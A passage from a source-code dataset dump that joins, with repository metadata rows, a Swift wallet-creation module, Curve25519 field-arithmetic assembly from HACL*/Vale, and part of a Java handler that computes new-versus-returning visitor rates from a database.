] | null | null | null | UnstoppableWallet/UnstoppableWallet/Modules/CreateWallet/CreateWalletModule.swift | RollerWallet/rollerwallet-ios | cf439a3d4b42865f8f19f7f3bb4ddae19e208638 | [
"MIT"
] | null | null | null | import UIKit
import ThemeKit
struct CreateWalletModule {
static func start(mode: ModuleStartMode, predefinedAccountType: PredefinedAccountType? = nil, onComplete: (() -> ())? = nil) {
let service = CreateWalletService(
predefinedAccountType: predefinedAccountType,
coinManager: App.shared.coinManager,
accountCreator: App.shared.accountCreator,
accountManager: App.shared.accountManager,
predefinedAccountTypeManager: App.shared.predefinedAccountTypeManager,
walletManager: App.shared.walletManager,
derivationSettingsManager: App.shared.derivationSettingsManager,
bitcoinCashCoinTypeManager: App.shared.bitcoinCashCoinTypeManager
)
let viewModel = CreateWalletViewModel(service: service)
let view = CreateWalletViewController(viewModel: viewModel, onComplete: onComplete)
switch mode {
case .push(let navigationController):
navigationController?.pushViewController(view, animated: true)
case .present(let viewController):
viewController?.present(ThemeNavigationController(rootViewController: view), animated: true)
}
}
}
| 43.103448 | 130 | 0.6864 |
202da85a21340602649d991b0a83020e6e2a8e13 | 21,852 | asm | Assembly | dist/vale/curve25519-x86_64-msvc.asm | santtu/hacl-star | ade5ee577b26bb4e1fc67c3a207d0982e6a02222 | [
"Apache-2.0"
] | 1,332 | 2018-06-25T18:44:25.000Z | 2022-03-24T11:54:21.000Z | dist/vale/curve25519-x86_64-msvc.asm | santtu/hacl-star | ade5ee577b26bb4e1fc67c3a207d0982e6a02222 | [
"Apache-2.0"
] | 311 | 2018-06-23T20:30:19.000Z | 2022-03-31T16:52:05.000Z | dist/vale/curve25519-x86_64-msvc.asm | santtu/hacl-star | ade5ee577b26bb4e1fc67c3a207d0982e6a02222 | [
"Apache-2.0"
] | 143 | 2018-08-23T11:43:58.000Z | 2022-03-09T11:07:13.000Z | .code
ALIGN 16
add_scalar_e proc
push rdi
push rsi
mov rdi, rcx
mov rsi, rdx
mov rdx, r8
;# Clear registers to propagate the carry bit
xor r8d, r8d
xor r9d, r9d
xor r10d, r10d
xor r11d, r11d
xor eax, eax
;# Begin addition chain
add rdx, qword ptr [rsi + 0]
mov qword ptr [rdi + 0], rdx
adcx r8, qword ptr [rsi + 8]
mov qword ptr [rdi + 8], r8
adcx r9, qword ptr [rsi + 16]
mov qword ptr [rdi + 16], r9
adcx r10, qword ptr [rsi + 24]
mov qword ptr [rdi + 24], r10
;# Return the carry bit in a register
adcx rax, r11
pop rsi
pop rdi
ret
add_scalar_e endp
ALIGN 16
fadd_e proc
push rdi
push rsi
mov rdi, rcx
mov rsi, rdx
mov rdx, r8
;# Compute the raw addition of f1 + f2
mov r8, qword ptr [rdx + 0]
add r8, qword ptr [rsi + 0]
mov r9, qword ptr [rdx + 8]
adcx r9, qword ptr [rsi + 8]
mov r10, qword ptr [rdx + 16]
adcx r10, qword ptr [rsi + 16]
mov r11, qword ptr [rdx + 24]
adcx r11, qword ptr [rsi + 24]
;# Wrap the result back into the field
;# Step 1: Compute carry*38
mov rax, 0
mov rdx, 38
cmovc rax, rdx
;# Step 2: Add carry*38 to the original sum
xor ecx, ecx
add r8, rax
adcx r9, rcx
mov qword ptr [rdi + 8], r9
adcx r10, rcx
mov qword ptr [rdi + 16], r10
adcx r11, rcx
mov qword ptr [rdi + 24], r11
;# Step 3: Fold the carry bit back in; guaranteed not to carry at this point
mov rax, 0
cmovc rax, rdx
add r8, rax
mov qword ptr [rdi + 0], r8
pop rsi
pop rdi
ret
fadd_e endp
ALIGN 16
fsub_e proc
push rdi
push rsi
mov rdi, rcx
mov rsi, rdx
mov rdx, r8
;# Compute the raw substraction of f1-f2
mov r8, qword ptr [rsi + 0]
sub r8, qword ptr [rdx + 0]
mov r9, qword ptr [rsi + 8]
sbb r9, qword ptr [rdx + 8]
mov r10, qword ptr [rsi + 16]
sbb r10, qword ptr [rdx + 16]
mov r11, qword ptr [rsi + 24]
sbb r11, qword ptr [rdx + 24]
;# Wrap the result back into the field
;# Step 1: Compute carry*38
mov rax, 0
mov rcx, 38
cmovc rax, rcx
;# Step 2: Substract carry*38 from the original difference
sub r8, rax
sbb r9, 0
sbb r10, 0
sbb r11, 0
;# Step 3: Fold the carry bit back in; guaranteed not to carry at this point
mov rax, 0
cmovc rax, rcx
sub r8, rax
;# Store the result
mov qword ptr [rdi + 0], r8
mov qword ptr [rdi + 8], r9
mov qword ptr [rdi + 16], r10
mov qword ptr [rdi + 24], r11
pop rsi
pop rdi
ret
fsub_e endp
ALIGN 16
fmul_scalar_e proc
push rdi
push r13
push rbx
push rsi
mov rdi, rcx
mov rsi, rdx
mov rdx, r8
;# Compute the raw multiplication of f1*f2
mulx rcx, r8, qword ptr [rsi + 0]
;# f1[0]*f2
mulx rbx, r9, qword ptr [rsi + 8]
;# f1[1]*f2
add r9, rcx
mov rcx, 0
mulx r13, r10, qword ptr [rsi + 16]
;# f1[2]*f2
adcx r10, rbx
mulx rax, r11, qword ptr [rsi + 24]
;# f1[3]*f2
adcx r11, r13
adcx rax, rcx
;# Wrap the result back into the field
;# Step 1: Compute carry*38
mov rdx, 38
imul rax, rdx
;# Step 2: Fold the carry back into dst
add r8, rax
adcx r9, rcx
mov qword ptr [rdi + 8], r9
adcx r10, rcx
mov qword ptr [rdi + 16], r10
adcx r11, rcx
mov qword ptr [rdi + 24], r11
;# Step 3: Fold the carry bit back in; guaranteed not to carry at this point
mov rax, 0
cmovc rax, rdx
add r8, rax
mov qword ptr [rdi + 0], r8
pop rsi
pop rbx
pop r13
pop rdi
ret
fmul_scalar_e endp
ALIGN 16
fmul_e proc
push r13
push r14
push r15
push rbx
push rsi
push rdi
mov rdi, rcx
mov rsi, rdx
mov r15, r8
mov rcx, r9
;# Compute the raw multiplication: tmp <- src1 * src2
;# Compute src1[0] * src2
mov rdx, qword ptr [rsi + 0]
mulx r9, r8, qword ptr [rcx + 0]
xor r10d, r10d
mov qword ptr [rdi + 0], r8
mulx r11, r10, qword ptr [rcx + 8]
adox r10, r9
mov qword ptr [rdi + 8], r10
mulx r13, rbx, qword ptr [rcx + 16]
adox rbx, r11
mulx rdx, r14, qword ptr [rcx + 24]
adox r14, r13
mov rax, 0
adox rax, rdx
;# Compute src1[1] * src2
mov rdx, qword ptr [rsi + 8]
mulx r9, r8, qword ptr [rcx + 0]
xor r10d, r10d
adcx r8, qword ptr [rdi + 8]
mov qword ptr [rdi + 8], r8
mulx r11, r10, qword ptr [rcx + 8]
adox r10, r9
adcx r10, rbx
mov qword ptr [rdi + 16], r10
mulx r13, rbx, qword ptr [rcx + 16]
adox rbx, r11
adcx rbx, r14
mov r8, 0
mulx rdx, r14, qword ptr [rcx + 24]
adox r14, r13
adcx r14, rax
mov rax, 0
adox rax, rdx
adcx rax, r8
;# Compute src1[2] * src2
mov rdx, qword ptr [rsi + 16]
mulx r9, r8, qword ptr [rcx + 0]
xor r10d, r10d
adcx r8, qword ptr [rdi + 16]
mov qword ptr [rdi + 16], r8
mulx r11, r10, qword ptr [rcx + 8]
adox r10, r9
adcx r10, rbx
mov qword ptr [rdi + 24], r10
mulx r13, rbx, qword ptr [rcx + 16]
adox rbx, r11
adcx rbx, r14
mov r8, 0
mulx rdx, r14, qword ptr [rcx + 24]
adox r14, r13
adcx r14, rax
mov rax, 0
adox rax, rdx
adcx rax, r8
;# Compute src1[3] * src2
mov rdx, qword ptr [rsi + 24]
mulx r9, r8, qword ptr [rcx + 0]
xor r10d, r10d
adcx r8, qword ptr [rdi + 24]
mov qword ptr [rdi + 24], r8
mulx r11, r10, qword ptr [rcx + 8]
adox r10, r9
adcx r10, rbx
mov qword ptr [rdi + 32], r10
mulx r13, rbx, qword ptr [rcx + 16]
adox rbx, r11
adcx rbx, r14
mov qword ptr [rdi + 40], rbx
mov r8, 0
mulx rdx, r14, qword ptr [rcx + 24]
adox r14, r13
adcx r14, rax
mov qword ptr [rdi + 48], r14
mov rax, 0
adox rax, rdx
adcx rax, r8
mov qword ptr [rdi + 56], rax
;# Line up pointers
mov rsi, rdi
mov rdi, r15
;# Wrap the result back into the field
;# Step 1: Compute dst + carry == tmp_hi * 38 + tmp_lo
mov rdx, 38
mulx r13, r8, qword ptr [rsi + 32]
xor ecx, ecx
adox r8, qword ptr [rsi + 0]
mulx rbx, r9, qword ptr [rsi + 40]
adcx r9, r13
adox r9, qword ptr [rsi + 8]
mulx r13, r10, qword ptr [rsi + 48]
adcx r10, rbx
adox r10, qword ptr [rsi + 16]
mulx rax, r11, qword ptr [rsi + 56]
adcx r11, r13
adox r11, qword ptr [rsi + 24]
adcx rax, rcx
adox rax, rcx
imul rax, rdx
;# Step 2: Fold the carry back into dst
add r8, rax
adcx r9, rcx
mov qword ptr [rdi + 8], r9
adcx r10, rcx
mov qword ptr [rdi + 16], r10
adcx r11, rcx
mov qword ptr [rdi + 24], r11
;# Step 3: Fold the carry bit back in; guaranteed not to carry at this point
mov rax, 0
cmovc rax, rdx
add r8, rax
mov qword ptr [rdi + 0], r8
pop rdi
pop rsi
pop rbx
pop r15
pop r14
pop r13
ret
fmul_e endp
ALIGN 16
fmul2_e proc
push r13
push r14
push r15
push rbx
push rsi
push rdi
mov rdi, rcx
mov rsi, rdx
mov r15, r8
mov rcx, r9
;# Compute the raw multiplication tmp[0] <- f1[0] * f2[0]
;# Compute src1[0] * src2
mov rdx, qword ptr [rsi + 0]
mulx r9, r8, qword ptr [rcx + 0]
xor r10d, r10d
mov qword ptr [rdi + 0], r8
mulx r11, r10, qword ptr [rcx + 8]
adox r10, r9
mov qword ptr [rdi + 8], r10
mulx r13, rbx, qword ptr [rcx + 16]
adox rbx, r11
mulx rdx, r14, qword ptr [rcx + 24]
adox r14, r13
mov rax, 0
adox rax, rdx
;# Compute src1[1] * src2
mov rdx, qword ptr [rsi + 8]
mulx r9, r8, qword ptr [rcx + 0]
xor r10d, r10d
adcx r8, qword ptr [rdi + 8]
mov qword ptr [rdi + 8], r8
mulx r11, r10, qword ptr [rcx + 8]
adox r10, r9
adcx r10, rbx
mov qword ptr [rdi + 16], r10
mulx r13, rbx, qword ptr [rcx + 16]
adox rbx, r11
adcx rbx, r14
mov r8, 0
mulx rdx, r14, qword ptr [rcx + 24]
adox r14, r13
adcx r14, rax
mov rax, 0
adox rax, rdx
adcx rax, r8
;# Compute src1[2] * src2
mov rdx, qword ptr [rsi + 16]
mulx r9, r8, qword ptr [rcx + 0]
xor r10d, r10d
adcx r8, qword ptr [rdi + 16]
mov qword ptr [rdi + 16], r8
mulx r11, r10, qword ptr [rcx + 8]
adox r10, r9
adcx r10, rbx
mov qword ptr [rdi + 24], r10
mulx r13, rbx, qword ptr [rcx + 16]
adox rbx, r11
adcx rbx, r14
mov r8, 0
mulx rdx, r14, qword ptr [rcx + 24]
adox r14, r13
adcx r14, rax
mov rax, 0
adox rax, rdx
adcx rax, r8
;# Compute src1[3] * src2
mov rdx, qword ptr [rsi + 24]
mulx r9, r8, qword ptr [rcx + 0]
xor r10d, r10d
adcx r8, qword ptr [rdi + 24]
mov qword ptr [rdi + 24], r8
mulx r11, r10, qword ptr [rcx + 8]
adox r10, r9
adcx r10, rbx
mov qword ptr [rdi + 32], r10
mulx r13, rbx, qword ptr [rcx + 16]
adox rbx, r11
adcx rbx, r14
mov qword ptr [rdi + 40], rbx
mov r8, 0
mulx rdx, r14, qword ptr [rcx + 24]
adox r14, r13
adcx r14, rax
mov qword ptr [rdi + 48], r14
mov rax, 0
adox rax, rdx
adcx rax, r8
mov qword ptr [rdi + 56], rax
;# Compute the raw multiplication tmp[1] <- f1[1] * f2[1]
;# Compute src1[0] * src2
mov rdx, qword ptr [rsi + 32]
mulx r9, r8, qword ptr [rcx + 32]
xor r10d, r10d
mov qword ptr [rdi + 64], r8
mulx r11, r10, qword ptr [rcx + 40]
adox r10, r9
mov qword ptr [rdi + 72], r10
mulx r13, rbx, qword ptr [rcx + 48]
adox rbx, r11
mulx rdx, r14, qword ptr [rcx + 56]
adox r14, r13
mov rax, 0
adox rax, rdx
;# Compute src1[1] * src2
mov rdx, qword ptr [rsi + 40]
mulx r9, r8, qword ptr [rcx + 32]
xor r10d, r10d
adcx r8, qword ptr [rdi + 72]
mov qword ptr [rdi + 72], r8
mulx r11, r10, qword ptr [rcx + 40]
adox r10, r9
adcx r10, rbx
mov qword ptr [rdi + 80], r10
mulx r13, rbx, qword ptr [rcx + 48]
adox rbx, r11
adcx rbx, r14
mov r8, 0
mulx rdx, r14, qword ptr [rcx + 56]
adox r14, r13
adcx r14, rax
mov rax, 0
adox rax, rdx
adcx rax, r8
;# Compute src1[2] * src2
mov rdx, qword ptr [rsi + 48]
mulx r9, r8, qword ptr [rcx + 32]
xor r10d, r10d
adcx r8, qword ptr [rdi + 80]
mov qword ptr [rdi + 80], r8
mulx r11, r10, qword ptr [rcx + 40]
adox r10, r9
adcx r10, rbx
mov qword ptr [rdi + 88], r10
mulx r13, rbx, qword ptr [rcx + 48]
adox rbx, r11
adcx rbx, r14
mov r8, 0
mulx rdx, r14, qword ptr [rcx + 56]
adox r14, r13
adcx r14, rax
mov rax, 0
adox rax, rdx
adcx rax, r8
;# Compute src1[3] * src2
mov rdx, qword ptr [rsi + 56]
mulx r9, r8, qword ptr [rcx + 32]
xor r10d, r10d
adcx r8, qword ptr [rdi + 88]
mov qword ptr [rdi + 88], r8
mulx r11, r10, qword ptr [rcx + 40]
adox r10, r9
adcx r10, rbx
mov qword ptr [rdi + 96], r10
mulx r13, rbx, qword ptr [rcx + 48]
adox rbx, r11
adcx rbx, r14
mov qword ptr [rdi + 104], rbx
mov r8, 0
mulx rdx, r14, qword ptr [rcx + 56]
adox r14, r13
adcx r14, rax
mov qword ptr [rdi + 112], r14
mov rax, 0
adox rax, rdx
adcx rax, r8
mov qword ptr [rdi + 120], rax
;# Line up pointers
mov rsi, rdi
mov rdi, r15
;# Wrap the results back into the field
;# Step 1: Compute dst + carry == tmp_hi * 38 + tmp_lo
mov rdx, 38
mulx r13, r8, qword ptr [rsi + 32]
xor ecx, ecx
adox r8, qword ptr [rsi + 0]
mulx rbx, r9, qword ptr [rsi + 40]
adcx r9, r13
adox r9, qword ptr [rsi + 8]
mulx r13, r10, qword ptr [rsi + 48]
adcx r10, rbx
adox r10, qword ptr [rsi + 16]
mulx rax, r11, qword ptr [rsi + 56]
adcx r11, r13
adox r11, qword ptr [rsi + 24]
adcx rax, rcx
adox rax, rcx
imul rax, rdx
;# Step 2: Fold the carry back into dst
add r8, rax
adcx r9, rcx
mov qword ptr [rdi + 8], r9
adcx r10, rcx
mov qword ptr [rdi + 16], r10
adcx r11, rcx
mov qword ptr [rdi + 24], r11
;# Step 3: Fold the carry bit back in; guaranteed not to carry at this point
mov rax, 0
cmovc rax, rdx
add r8, rax
mov qword ptr [rdi + 0], r8
;# Step 1: Compute dst + carry == tmp_hi * 38 + tmp_lo
mov rdx, 38
mulx r13, r8, qword ptr [rsi + 96]
xor ecx, ecx
adox r8, qword ptr [rsi + 64]
mulx rbx, r9, qword ptr [rsi + 104]
adcx r9, r13
adox r9, qword ptr [rsi + 72]
mulx r13, r10, qword ptr [rsi + 112]
adcx r10, rbx
adox r10, qword ptr [rsi + 80]
mulx rax, r11, qword ptr [rsi + 120]
adcx r11, r13
adox r11, qword ptr [rsi + 88]
adcx rax, rcx
adox rax, rcx
imul rax, rdx
;# Step 2: Fold the carry back into dst
add r8, rax
adcx r9, rcx
mov qword ptr [rdi + 40], r9
adcx r10, rcx
mov qword ptr [rdi + 48], r10
adcx r11, rcx
mov qword ptr [rdi + 56], r11
;# Step 3: Fold the carry bit back in; guaranteed not to carry at this point
mov rax, 0
cmovc rax, rdx
add r8, rax
mov qword ptr [rdi + 32], r8
pop rdi
pop rsi
pop rbx
pop r15
pop r14
pop r13
ret
fmul2_e endp
ALIGN 16
fsqr_e proc
push r15
push r13
push r14
push r12
push rbx
push rsi
push rdi
mov rdi, rcx
mov rsi, rdx
mov r12, r8
;# Compute the raw multiplication: tmp <- f * f
;# Step 1: Compute all partial products
mov rdx, qword ptr [rsi + 0]
;# f[0]
mulx r14, r8, qword ptr [rsi + 8]
xor r15d, r15d
;# f[1]*f[0]
mulx r10, r9, qword ptr [rsi + 16]
adcx r9, r14
;# f[2]*f[0]
mulx rcx, rax, qword ptr [rsi + 24]
adcx r10, rax
;# f[3]*f[0]
mov rdx, qword ptr [rsi + 24]
;# f[3]
mulx rbx, r11, qword ptr [rsi + 8]
adcx r11, rcx
;# f[1]*f[3]
mulx r13, rax, qword ptr [rsi + 16]
adcx rbx, rax
;# f[2]*f[3]
mov rdx, qword ptr [rsi + 8]
adcx r13, r15
;# f1
mulx rcx, rax, qword ptr [rsi + 16]
mov r14, 0
;# f[2]*f[1]
;# Step 2: Compute two parallel carry chains
xor r15d, r15d
adox r10, rax
adcx r8, r8
adox r11, rcx
adcx r9, r9
adox rbx, r15
adcx r10, r10
adox r13, r15
adcx r11, r11
adox r14, r15
adcx rbx, rbx
adcx r13, r13
adcx r14, r14
;# Step 3: Compute intermediate squares
mov rdx, qword ptr [rsi + 0]
mulx rcx, rax, rdx
;# f[0]^2
mov qword ptr [rdi + 0], rax
add r8, rcx
mov qword ptr [rdi + 8], r8
mov rdx, qword ptr [rsi + 8]
mulx rcx, rax, rdx
;# f[1]^2
adcx r9, rax
mov qword ptr [rdi + 16], r9
adcx r10, rcx
mov qword ptr [rdi + 24], r10
mov rdx, qword ptr [rsi + 16]
mulx rcx, rax, rdx
;# f[2]^2
adcx r11, rax
mov qword ptr [rdi + 32], r11
adcx rbx, rcx
mov qword ptr [rdi + 40], rbx
mov rdx, qword ptr [rsi + 24]
mulx rcx, rax, rdx
;# f[3]^2
adcx r13, rax
mov qword ptr [rdi + 48], r13
adcx r14, rcx
mov qword ptr [rdi + 56], r14
;# Line up pointers
mov rsi, rdi
mov rdi, r12
;# Wrap the result back into the field
;# Step 1: Compute dst + carry == tmp_hi * 38 + tmp_lo
mov rdx, 38
mulx r13, r8, qword ptr [rsi + 32]
xor ecx, ecx
adox r8, qword ptr [rsi + 0]
mulx rbx, r9, qword ptr [rsi + 40]
adcx r9, r13
adox r9, qword ptr [rsi + 8]
mulx r13, r10, qword ptr [rsi + 48]
adcx r10, rbx
adox r10, qword ptr [rsi + 16]
mulx rax, r11, qword ptr [rsi + 56]
adcx r11, r13
adox r11, qword ptr [rsi + 24]
adcx rax, rcx
adox rax, rcx
imul rax, rdx
;# Step 2: Fold the carry back into dst
add r8, rax
adcx r9, rcx
mov qword ptr [rdi + 8], r9
adcx r10, rcx
mov qword ptr [rdi + 16], r10
adcx r11, rcx
mov qword ptr [rdi + 24], r11
;# Step 3: Fold the carry bit back in; guaranteed not to carry at this point
mov rax, 0
cmovc rax, rdx
add r8, rax
mov qword ptr [rdi + 0], r8
pop rdi
pop rsi
pop rbx
pop r12
pop r14
pop r13
pop r15
ret
fsqr_e endp
ALIGN 16
fsqr2_e proc
push r15
push r13
push r14
push r12
push rbx
push rsi
push rdi
mov rdi, rcx
mov rsi, rdx
mov r12, r8
;# Step 1: Compute all partial products
mov rdx, qword ptr [rsi + 0]
;# f[0]
mulx r14, r8, qword ptr [rsi + 8]
xor r15d, r15d
;# f[1]*f[0]
mulx r10, r9, qword ptr [rsi + 16]
adcx r9, r14
;# f[2]*f[0]
mulx rcx, rax, qword ptr [rsi + 24]
adcx r10, rax
;# f[3]*f[0]
mov rdx, qword ptr [rsi + 24]
;# f[3]
mulx rbx, r11, qword ptr [rsi + 8]
adcx r11, rcx
;# f[1]*f[3]
mulx r13, rax, qword ptr [rsi + 16]
adcx rbx, rax
;# f[2]*f[3]
mov rdx, qword ptr [rsi + 8]
adcx r13, r15
;# f1
mulx rcx, rax, qword ptr [rsi + 16]
mov r14, 0
;# f[2]*f[1]
;# Step 2: Compute two parallel carry chains
xor r15d, r15d
adox r10, rax
adcx r8, r8
adox r11, rcx
adcx r9, r9
adox rbx, r15
adcx r10, r10
adox r13, r15
adcx r11, r11
adox r14, r15
adcx rbx, rbx
adcx r13, r13
adcx r14, r14
;# Step 3: Compute intermediate squares
mov rdx, qword ptr [rsi + 0]
mulx rcx, rax, rdx
;# f[0]^2
mov qword ptr [rdi + 0], rax
add r8, rcx
mov qword ptr [rdi + 8], r8
mov rdx, qword ptr [rsi + 8]
mulx rcx, rax, rdx
;# f[1]^2
adcx r9, rax
mov qword ptr [rdi + 16], r9
adcx r10, rcx
mov qword ptr [rdi + 24], r10
mov rdx, qword ptr [rsi + 16]
mulx rcx, rax, rdx
;# f[2]^2
adcx r11, rax
mov qword ptr [rdi + 32], r11
adcx rbx, rcx
mov qword ptr [rdi + 40], rbx
mov rdx, qword ptr [rsi + 24]
mulx rcx, rax, rdx
;# f[3]^2
adcx r13, rax
mov qword ptr [rdi + 48], r13
adcx r14, rcx
mov qword ptr [rdi + 56], r14
;# Step 1: Compute all partial products
mov rdx, qword ptr [rsi + 32]
;# f[0]
mulx r14, r8, qword ptr [rsi + 40]
xor r15d, r15d
;# f[1]*f[0]
mulx r10, r9, qword ptr [rsi + 48]
adcx r9, r14
;# f[2]*f[0]
mulx rcx, rax, qword ptr [rsi + 56]
adcx r10, rax
;# f[3]*f[0]
mov rdx, qword ptr [rsi + 56]
;# f[3]
mulx rbx, r11, qword ptr [rsi + 40]
adcx r11, rcx
;# f[1]*f[3]
mulx r13, rax, qword ptr [rsi + 48]
adcx rbx, rax
;# f[2]*f[3]
mov rdx, qword ptr [rsi + 40]
adcx r13, r15
;# f1
mulx rcx, rax, qword ptr [rsi + 48]
mov r14, 0
;# f[2]*f[1]
;# Step 2: Compute two parallel carry chains
xor r15d, r15d
adox r10, rax
adcx r8, r8
adox r11, rcx
adcx r9, r9
adox rbx, r15
adcx r10, r10
adox r13, r15
adcx r11, r11
adox r14, r15
adcx rbx, rbx
adcx r13, r13
adcx r14, r14
;# Step 3: Compute intermediate squares
mov rdx, qword ptr [rsi + 32]
mulx rcx, rax, rdx
;# f[0]^2
mov qword ptr [rdi + 64], rax
add r8, rcx
mov qword ptr [rdi + 72], r8
mov rdx, qword ptr [rsi + 40]
mulx rcx, rax, rdx
;# f[1]^2
adcx r9, rax
mov qword ptr [rdi + 80], r9
adcx r10, rcx
mov qword ptr [rdi + 88], r10
mov rdx, qword ptr [rsi + 48]
mulx rcx, rax, rdx
;# f[2]^2
adcx r11, rax
mov qword ptr [rdi + 96], r11
adcx rbx, rcx
mov qword ptr [rdi + 104], rbx
mov rdx, qword ptr [rsi + 56]
mulx rcx, rax, rdx
;# f[3]^2
adcx r13, rax
mov qword ptr [rdi + 112], r13
adcx r14, rcx
mov qword ptr [rdi + 120], r14
;# Line up pointers
mov rsi, rdi
mov rdi, r12
;# Step 1: Compute dst + carry == tmp_hi * 38 + tmp_lo
mov rdx, 38
mulx r13, r8, qword ptr [rsi + 32]
xor ecx, ecx
adox r8, qword ptr [rsi + 0]
mulx rbx, r9, qword ptr [rsi + 40]
adcx r9, r13
adox r9, qword ptr [rsi + 8]
mulx r13, r10, qword ptr [rsi + 48]
adcx r10, rbx
adox r10, qword ptr [rsi + 16]
mulx rax, r11, qword ptr [rsi + 56]
adcx r11, r13
adox r11, qword ptr [rsi + 24]
adcx rax, rcx
adox rax, rcx
imul rax, rdx
;# Step 2: Fold the carry back into dst
add r8, rax
adcx r9, rcx
mov qword ptr [rdi + 8], r9
adcx r10, rcx
mov qword ptr [rdi + 16], r10
adcx r11, rcx
mov qword ptr [rdi + 24], r11
;# Step 3: Fold the carry bit back in; guaranteed not to carry at this point
mov rax, 0
cmovc rax, rdx
add r8, rax
mov qword ptr [rdi + 0], r8
;# Step 1: Compute dst + carry == tmp_hi * 38 + tmp_lo
mov rdx, 38
mulx r13, r8, qword ptr [rsi + 96]
xor ecx, ecx
adox r8, qword ptr [rsi + 64]
mulx rbx, r9, qword ptr [rsi + 104]
adcx r9, r13
adox r9, qword ptr [rsi + 72]
mulx r13, r10, qword ptr [rsi + 112]
adcx r10, rbx
adox r10, qword ptr [rsi + 80]
mulx rax, r11, qword ptr [rsi + 120]
adcx r11, r13
adox r11, qword ptr [rsi + 88]
adcx rax, rcx
adox rax, rcx
imul rax, rdx
;# Step 2: Fold the carry back into dst
add r8, rax
adcx r9, rcx
mov qword ptr [rdi + 40], r9
adcx r10, rcx
mov qword ptr [rdi + 48], r10
adcx r11, rcx
mov qword ptr [rdi + 56], r11
;# Step 3: Fold the carry bit back in; guaranteed not to carry at this point
mov rax, 0
cmovc rax, rdx
add r8, rax
mov qword ptr [rdi + 32], r8
pop rdi
pop rsi
pop rbx
pop r12
pop r14
pop r13
pop r15
ret
fsqr2_e endp
ALIGN 16
cswap2_e proc
push rdi
push rsi
mov rdi, rcx
mov rsi, rdx
mov rdx, r8
;# Transfer bit into CF flag
add rdi, 18446744073709551615
;# cswap p1[0], p2[0]
mov r8, qword ptr [rsi + 0]
mov r9, qword ptr [rdx + 0]
mov r10, r8
cmovc r8, r9
cmovc r9, r10
mov qword ptr [rsi + 0], r8
mov qword ptr [rdx + 0], r9
;# cswap p1[1], p2[1]
mov r8, qword ptr [rsi + 8]
mov r9, qword ptr [rdx + 8]
mov r10, r8
cmovc r8, r9
cmovc r9, r10
mov qword ptr [rsi + 8], r8
mov qword ptr [rdx + 8], r9
;# cswap p1[2], p2[2]
mov r8, qword ptr [rsi + 16]
mov r9, qword ptr [rdx + 16]
mov r10, r8
cmovc r8, r9
cmovc r9, r10
mov qword ptr [rsi + 16], r8
mov qword ptr [rdx + 16], r9
;# cswap p1[3], p2[3]
mov r8, qword ptr [rsi + 24]
mov r9, qword ptr [rdx + 24]
mov r10, r8
cmovc r8, r9
cmovc r9, r10
mov qword ptr [rsi + 24], r8
mov qword ptr [rdx + 24], r9
;# cswap p1[4], p2[4]
mov r8, qword ptr [rsi + 32]
mov r9, qword ptr [rdx + 32]
mov r10, r8
cmovc r8, r9
cmovc r9, r10
mov qword ptr [rsi + 32], r8
mov qword ptr [rdx + 32], r9
;# cswap p1[5], p2[5]
mov r8, qword ptr [rsi + 40]
mov r9, qword ptr [rdx + 40]
mov r10, r8
cmovc r8, r9
cmovc r9, r10
mov qword ptr [rsi + 40], r8
mov qword ptr [rdx + 40], r9
;# cswap p1[6], p2[6]
mov r8, qword ptr [rsi + 48]
mov r9, qword ptr [rdx + 48]
mov r10, r8
cmovc r8, r9
cmovc r9, r10
mov qword ptr [rsi + 48], r8
mov qword ptr [rdx + 48], r9
;# cswap p1[7], p2[7]
mov r8, qword ptr [rsi + 56]
mov r9, qword ptr [rdx + 56]
mov r10, r8
cmovc r8, r9
cmovc r9, r10
mov qword ptr [rsi + 56], r8
mov qword ptr [rdx + 56], r9
pop rsi
pop rdi
ret
cswap2_e endp
end
| 20.971209 | 78 | 0.594911 |
2a3a6a96bf78f31928778743515b597ad0e548ea | 3,402 | java | Java | Program source code/Receive_server_ web_page_request_server_source_code/web03/src/handle/NewOldHandler.java | rainmaple/WIFI_BussinessBigDataAnalyseSystem | c65e1bd467bc43ef608d3913de60f11f7779b63d | [
"MIT"
] | 36 | 2018-05-17T06:35:07.000Z | 2021-11-17T11:29:53.000Z | Program source code/Receive_server_ web_page_request_server_source_code/web03/src/handle/NewOldHandler.java | SunWenBiao/WIFI_BussinessBigDataAnalyseSystem | d732f48b894fa0242e817e449896290dca4ea5e6 | [
"MIT"
] | 2 | 2018-08-03T09:30:53.000Z | 2019-09-16T01:52:44.000Z | Program source code/Receive_server_ web_page_request_server_source_code/web03/src/handle/NewOldHandler.java | SunWenBiao/WIFI_BussinessBigDataAnalyseSystem | d732f48b894fa0242e817e449896290dca4ea5e6 | [
"MIT"
] | 21 | 2018-06-12T07:50:55.000Z | 2021-01-14T09:09:58.000Z | package handle;
import dao.DaoUtil;
public class NewOldHandler {
private static String TABLE_NAME="new_old";
public static String GetRate(){
String[] qua={"1"};
String New=DaoUtil.getValueByFamily(TABLE_NAME,"1","new",qua)[0];
String Old=DaoUtil.getValueByFamily(TABLE_NAME,"1","old",qua)[0];
return String.format("%.2f",Double.valueOf(New)/(Double.valueOf(New)+Double.valueOf(Old))*100);
}
protected static String[] RateFormat(String[] rate){
String[] format=new String[rate.length];
for(int i=0;i<=rate.length-1;i++){
if(rate[i]!=null) format[i]=String.format("%.2f", Double.valueOf(rate[i]));
else{
format[i]=null;
}
}
return format;
}
public static String[] GetNewNum(int length){
String[] qua=new String[length];
for(int i=0;i<=length-1;i++){
qua[i]=String.valueOf(length-i);
}
return DaoUtil.getValueByFamily(TABLE_NAME,"1","new",qua);
}
public static String[] GetOldNum(int length){
String[] qua=new String[length];
for(int i=0;i<=length-1;i++){
qua[i]=String.valueOf(length-i);
}
return DaoUtil.getValueByFamily(TABLE_NAME,"1","old",qua);
}
public static double[] GetHisRate() {
double[] rate=new double[4];
String[] qua={"1"};
String[] Family="h_hour,h_day,h_week,h_month".split(",");
for(int i=0;i<=3;i++){
rate[i] = Double.valueOf(DaoUtil.getValueByFamily(TABLE_NAME,"1",Family[i],qua)[0]);
}
return rate;
}
public static String[] FormatRate(double[] rate) {
String[] result=new String[rate.length];
for(int i=0;i<=rate.length-1;i++){
result[i]=String.format("%.2f", rate[i]);
}
return result;
}
public static String[] GetRateStatus(double[] r) {
String[] result=new String[r.length];
for(int i=0;i<=r.length-1;i++){
if(r[i]>0.5){
result[i]="正常";
}else{
result[i]="衰退";
}
}
return result;
}
public static String[] GetHourNum(int length){
String[] qua=new String[length];
for(int i=0;i<=length-1;i++){
qua[i]=String.valueOf(length-i);
}
String[] data=DaoUtil.getValueByFamily(TABLE_NAME,"1","hour",qua);
if(data!=null){
for(int i=0;i<=data.length-1;i++){
if(data[i]!=null)data[i]=String.valueOf(Double.valueOf(data[i])*100);
}
}
